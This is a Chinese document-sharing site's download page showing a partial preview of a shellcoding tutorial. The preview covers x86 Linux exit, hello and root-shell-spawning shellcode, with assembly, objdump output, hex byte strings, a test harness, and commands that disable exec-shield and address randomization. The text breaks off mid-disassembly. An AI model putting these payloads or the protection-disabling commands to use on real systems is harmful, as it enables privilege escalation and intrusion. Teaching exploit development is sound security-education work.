ImageVerifierCode 换一换
格式:DOC , 页数:23 ,大小:125KB ,
资源ID:7037933      下载积分:10 金币
验证码下载
登录下载
邮箱/手机:
图形码:
验证码: 获取验证码
温馨提示:
支付成功后,系统会自动生成账号(用户名为邮箱或者手机号,密码是验证码),方便下次登录下载和查询订单;
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

开通VIP
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.zixin.com.cn/docdown/7037933.html】到电脑端继续下载(重复下载【60天内】不扣币)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

开通VIP折扣优惠下载文档

            查看会员权益                  [ 下载后找不到文档?]

填表反馈(24小时):  下载求助     关注领币    退款申请

开具发票请登录PC端进行申请。


权利声明

1、咨信平台为文档C2C交易模式,即用户上传的文档直接被用户下载,收益归上传人(含作者)所有;本站仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。所展示的作品文档包括内容和图片全部来源于网络用户和作者上传投稿,我们不确定上传用户享有完全著作权,根据《信息网络传播权保护条例》,如果侵犯了您的版权、权益或隐私,请联系我们,核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
2、文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为仲裁依据,个别因单元格分列造成显示页码不一将协商解决,平台无法对文档的真实性、完整性、权威性、准确性、专业性及其观点立场做任何保证或承诺,下载前须认真查看,确认无误后再购买,务必慎重购买;若有违法违纪将进行移交司法处理,若涉侵权平台将进行基本处罚并下架。
3、本站所有内容均由用户上传,付费前请自行鉴别,如您付费,意味着您已接受本站规则且自行承担风险,本站不进行额外附加服务,虚拟产品一经售出概不退款(未进行购买下载可退充值款),文档一经付费(服务费)、不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
4、如你看到网页展示的文档有www.zixin.com.cn水印,是因预览和防盗链等技术需要对页面进行转换压缩成图而已,我们并不对上传的文档进行任何编辑或修改,文档下载后都不会有水印标识(原文档上传前个别存留的除外),下载后原文更清晰;试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓;PPT和DOC文档可被视为“模板”,允许上传人保留章节、目录结构的情况下删减部份的内容;PDF文档不管是原文档转换或图片扫描而得,本站不作要求视为允许,下载前可先查看【教您几个在下载文档中可以更好的避免被坑】。
5、本文档所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用;网站提供的党政主题相关内容(国旗、国徽、党徽--等)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
6、文档遇到问题,请及时联系平台进行协调解决,联系【微信客服】、【QQ客服】,若有其他问题请点击或扫码反馈【服务填表】;文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“【版权申诉】”,意见反馈和侵权处理邮箱:1219186828@qq.com;也可以拔打客服电话:4009-655-100;投诉/维权电话:18658249818。

注意事项

本文(Shellcode Tutorial.doc)为本站上传会员【xrp****65】主动上传,咨信网仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知咨信网(发送邮件至1219186828@qq.com、拔打电话4009-655-100或【 微信客服】、【 QQ客服】),核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载【60天内】不扣币。 服务填表

Shellcode Tutorial.doc

1、Shellcoding for Linux and Windows Tutorial with example windows and linux shellcode by steve hanna steve./c/.hanna@gmail/.com for premier computer security research check out: http://www.sigmil.org/ Table of Contents Change Log 2 Frequently Asked Questions 2 1. What is shellcodin

2、g? 2 2. There are tons of shellcode repositories all around the internet, why should I write my own? 2 3. What do I need to know before I begin? 2 4. What are the differences between windows shellcode and Linux shellcode? 3 5. So, what about windows? How do I find the addresses of my needed DLL

3、functions? Don't these addresses change with every service pack upgrade? 3 6. What's the hype with making sure the shellcode won't have any NULL bytes in it? Normal programs have lots of NULL bytes! 3 7. Why does my shellcode program crash when I run it? 4 8. Can I contact you? 4 9. Why did you

4、use intel syntax, UGHHH?! 4 10. Why does my program keep segfaulting? Yes, I read item 7 above, but it STILL crashes. 4 Required Tools 5 Optional Tools 5 Linux Shellcoding 6 Example 1 - Making a Quick Exit 6 Example 2 - Saying Hello 7 Example 3 - Spawning a Shell 9 Windows Shellcoding 11 Ex

5、ample 1 - Sleep is for the Weak! 11 Example 2 - A Message to say "Hey" 12 Example 3 - Adding an Administrative Account 17 Advanced Shellcoding 20 Further Reading 23 Conclusion 23 Change Log 1. Created - July 2004 2. Advanced Shellcoding Methods Section Added - Sept 2005 3. Updated F

6、aq regarding stack randomization. - June 2007 Frequently Asked Questions 1. What is shellcoding? In computer security, shellcoding in its most literal sense, means writing code that will return a remote shell when executed. The meaning of shellcode has evolved, it now represents any byt

7、e code that will be inserted into an exploit to accomplish a desired task. 2. There are tons of shellcode repositories all around the internet, why should I write my own? Yes, you are correct, there are tons of repositories all around the internet for shellcoding. Namely, the metasploit p

8、roject seems to be the best. Writing an exploit can be difficult, what happens when all of the prewritten blocks of code cease to work? You need to write your own! Hopefully this tutorial will give you a good head start. 3. What do I need to know before I begin? A decent understanding of

9、 x86 assembly, C, and knowledge of the Linux and Windows operating systems. 4. What are the differences between windows shellcode and Linux shellcode? Linux, unlike windows, provides a direct way to interface with the kernel through the int 0x80 interface. A complete listing of the Linux

10、 syscall table can be found here. Windows on the other hand, does not have a direct kernel interface. The system must be interfaced by loading the address of the function that needs to be executed from a DLL (Dynamic Link Library). The key difference between the two is the fact that the address of t

11、he functions found in windows will vary from OS version to OS version while the int 0x80 syscall numbers will remain constant. Windows programmers did this so that they could make any change needed to the kernel without any hassle; Linux on the contrary has fixed numbering system for all kernel leve

12、l functions, and if they were to change, there would be a million angry programmers (and a lot of broken code). 5. So, what about windows? How do I find the addresses of my needed DLL functions? Don't these addresses change with every service pack upgrade? There are multitudes of ways to

13、 find the addresses of the functions that you need to use in your shellcode. There are two methods for addressing functions; you can find the desired function at runtime or use hard coded addresses. This tutorial will mostly discuss the hard coded method. The only DLL that is guaranteed to be mapped

14、 into the shellcode's address space is kernel32.dll. This DLL will hold LoadLibrary and GetProcAddress, the two functions needed to obtain any functions address that can be mapped into the exploits process space. There is a problem with this method though, the address offsets will change with every

15、new release of Windows (service packs, patches etc.). So, if you use this method your shellcode will ONLY work for a specific version of Windows. Further dynamic addressing will be referenced at the end of the paper in the Further Reading section. 6. What's the hype with making sure the shellcode

16、 won't have any NULL bytes in it? Normal programs have lots of NULL bytes! Well this isn't a normal program! The main problem arises in the fact that when the exploit is inserted it will be a string. As we all know, strings are terminated with a NULL byte (C style strings anyhow). If we have

17、a NULL byte in our shellcode things won't work correctly. 7. Why does my shellcode program crash when I run it? Well, in most shellcode the assembly contained within has some sort of self modifying qualities. Since we are working in protected mode operating systems the .code segment of th

18、e executable image is read only. That is why the shell program needs to copy itself to the stack before attempting execution. 8. Can I contact you? Sure, just email shanna@uiuc.edu. Feel free to ask questions, comments, or correct something that is wrong in this tutorial. 9. Why did you

19、 use intel syntax, UGHHH?! I don't know! I honestly prefer at&t syntax, but for some reason I felt compelled to do this in intel syntax. I am really sorry! 10. Why does my program keep segfaulting? Yes, I read item 7 above, but it STILL crashes. You probably are using an operating s

20、ystem with randomized stack and address space and possibly a protection mechanism that prevents you from executing code on the stack. All Linux based operating systems are not the same, so I present a solution for Fedora that should adapt easily. echo 0 > /proc/sys/kernel/exec-shield #turn it off

21、 echo 0 > /proc/sys/kernel/randomize_va_space #turn it off echo 1 > /proc/sys/kernel/exec-shield #turn it on echo 1 > /proc/sys/kernel/randomize_va_space #turn it on Background Information EAX, EBX, ECX, and EDX are all 32-bit General Purpose Registers on the x86 platform. AH, BH, C

22、H and DH access the upper 16-bits of the GPRs. AL, BL, CL, and DL access the lower 8-bits of the GPRs. ESI and EDI are used when making Linux syscalls. Syscalls with 6 arguments or less are passed via the GPRs. XOR EAX, EAX is a great way to zero out a register (while staying away from the nefar

23、ious NULL byte!) In Windows, all function arguments are passed on the stack according to their calling convention. Required Tools gcc ld nasm objdump Optional Tools odfhex.c - a utility created by me to extract the shellcode from "objdump -d" and turn it into escaped hex code (very

24、 useful!). arwin.c - a utility created by me to find the absolute addresses of windows functions within a specified DLL. shellcodetest.c - this is just a copy of the c code found below. it is a small skeleton program to test shellcode. exit.asm hello.asm msgbox.asm shellex.asm sleep.asm adduser.

25、asm - the source code found in this document (the win32 shellcode was written with Windows XP SP1). Linux Shellcoding When testing shellcode, it is nice to just plop it into a program and let it run. The C program below will be used to test all of our code. /*shellcodetest.c*/ char code[]

26、 = "bytecode will go here!"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } Example 1 - Making a Quick Exit The easiest way to begin would be to demonstrate the exit syscall due to it's simplicity. Here is some simple asm code to cal

27、l exit. Notice the al and XOR trick to ensure that no NULL bytes will get into our code. ;exit.asm [SECTION .text] global _start _start: xor eax, eax ;exit is syscall 1 mov al, 1 ;exit is syscall 1 xor ebx,ebx ;zero out ebx int 0x80 Take

28、the following steps to compile and extract the byte code. steve hanna@1337b0x:~$ nasm -f elf exit.asm steve hanna@1337b0x:~$ ld -o exiter exit.o steve hanna@1337b0x:~$ objdump -d exiter exiter: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: b

29、0 01 mov $0x1,%al 8048082: 31 db xor %ebx,%ebx 8048084: cd 80 int $0x80 The bytes we need are b0 01 31 db cd 80. Replace the code at the top with: char code[] = "\xb0\x01\x31\xdb\xcd\x80"; Now, run the program. W

30、e have a successful piece of shellcode! One can strace the program to ensure that it is calling exit. Example 2 - Saying Hello For this next piece, let's ease our way into something useful. In this block of code one will find an example on how to load the address of a string in a piece of our c

31、ode at runtime. This is important because while running shellcode in an unknown environment, the address of the string will be unknown because the program is not running in its normal address space. ;hello.asm [SECTION .text] global _start _start: jmp short ender sta

32、rter: xor eax, eax ;clean up the registers xor ebx, ebx xor edx, edx xor ecx, ecx mov al, 4 ;syscall write mov bl, 1 ;stdout is 1 pop ecx ;get the address of the string from the stack mov dl, 5 ;

33、length of the string int 0x80 xor eax, eax mov al, 1 ;exit the shellcode xor ebx,ebx int 0x80 ender: call starter ;put the address of the string on the stack db 'hello' steve hanna@1337b0x:~$ nasm -f elf hello.asm

34、 steve hanna@1337b0x:~$ ld -o hello hello.o steve hanna@1337b0x:~$ objdump -d hello hello: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: eb 19 jmp 804809b 08048082 : 8048082: 31 c0 x

35、or %eax,%eax 8048084: 31 db xor %ebx,%ebx 8048086: 31 d2 xor %edx,%edx 8048088: 31 c9 xor %ecx,%ecx 804808a: b0 04 mov $0x4,%al 804808c: b3 01 mov $0x1,

36、bl 804808e: 59 pop %ecx 804808f: b2 05 mov $0x5,%dl 8048091: cd 80 int $0x80 8048093: 31 c0 xor %eax,%eax 8048095: b0 01 mov $0x1,%al 8048097:

37、31 db xor %ebx,%ebx 8048099: cd 80 int $0x80 0804809b : 804809b: e8 e2 ff ff ff call 8048082 80480a0: 68 65 6c 6c 6f push $0x6f6c6c65 Replace the code at the top with: char code[] = "\xeb\x19\x31

38、\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\ "\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f"; At this point we have a fully functional piece of shellcode that outputs to stdout. Now that dynamic string addressing has been demonstrat

39、ed as well as the ability to zero out registers, we can move on to a piece of code that gets us a shell. Example 3 - Spawning a Shell This code combines what we have been doing so far. This code attempts to set root privileges if they are dropped and then spawns a shell. Note: system("/

40、bin/sh") would have been a lot simpler right? Well the only problem with that approach is the fact that system always drops privileges. Remember when reading this code: execve (const char *filename, const char** argv, const char** envp); So, the second two argument expect pointers to po

41、inters. That's why I load the address of the "/bin/sh" into the string memory and then pass the address of the string memory to the function. When the pointers are dereferenced the target memory will be the "/bin/sh" string. ;shellex.asm [SECTION .text] global _start _start: xor

42、eax, eax mov al, 70 ;setreuid is syscall 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short ender starter: pop ebx ;get the address of the string xor eax, eax mov [ebx+7 ], al ;p

43、ut a NULL where the N is in the string mov [ebx+8 ], ebx ;put the address of the string to where the ;AAAA is mov [ebx+12], eax ;put 4 null bytes into where the BBBB is mov al, 11 ;execve is syscall 11 lea

44、ecx, [ebx+8] ;load the address of where the AAAA was lea edx, [ebx+12] ;load the address of the NULLS int 0x80 ;call the kernel, WE HAVE A SHELL! ender: call starter db '/bin/shNAAAABBBB' steve hanna@1337b0x:~$ nasm -f e

45、lf shellex.asm steve hanna@1337b0x:~$ ld -o shellex shellex.o steve hanna@1337b0x:~$ objdump -d shellex shellex: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: 31 c0 xor %eax,%eax 8048082: b0 46 m

46、ov $0x46,%al 8048084: 31 db xor %ebx,%ebx 8048086: 31 c9 xor %ecx,%ecx 8048088: cd 80 int $0x80 804808a: eb 16 jmp 80480a2 0804808c : 804808c: 5b po

47、p %ebx 804808d: 31 c0 xor %eax,%eax 804808f: 88 43 07 mov %al,0x7(%ebx) 8048092: 89 5b 08 mov %ebx,0x8(%ebx) 8048095: 89 43 0c mov %eax,0xc(%ebx) 8048098: b0 0b mov

48、 $0xb,%al 804809a: 8d 4b 08 lea 0x8(%ebx),%ecx 804809d: 8d 53 0c lea 0xc(%ebx),%edx 80480a0: cd 80 int $0x80 080480a2 : 80480a2: e8 e5 ff ff ff call 804808c 80480a7: 2f

49、 das 80480a8: 62 69 6e bound %ebp,0x6e(%ecx) 80480ab: 2f das 80480ac: 73 68 jae 8048116 80480ae: 58 pop %eax 80480af: 41 inc %ecx 80480b0: 41 inc %ecx 80480b1: 41 inc %ecx 80480b2: 41 inc %ecx 80480b3: 42 inc %edx 80480b4: 42 inc %edx 80480b5: 42

移动网页_全站_页脚广告1

关于我们      便捷服务       自信AI       AI导航        抽奖活动

©2010-2025 宁波自信网络信息技术有限公司  版权所有

客服电话:4009-655-100  投诉/维权电话:18658249818

gongan.png浙公网安备33021202000488号   

icp.png浙ICP备2021020529号-1  |  浙B2-20240490  

关注我们 :微信公众号    抖音    微博    LOFTER 

客服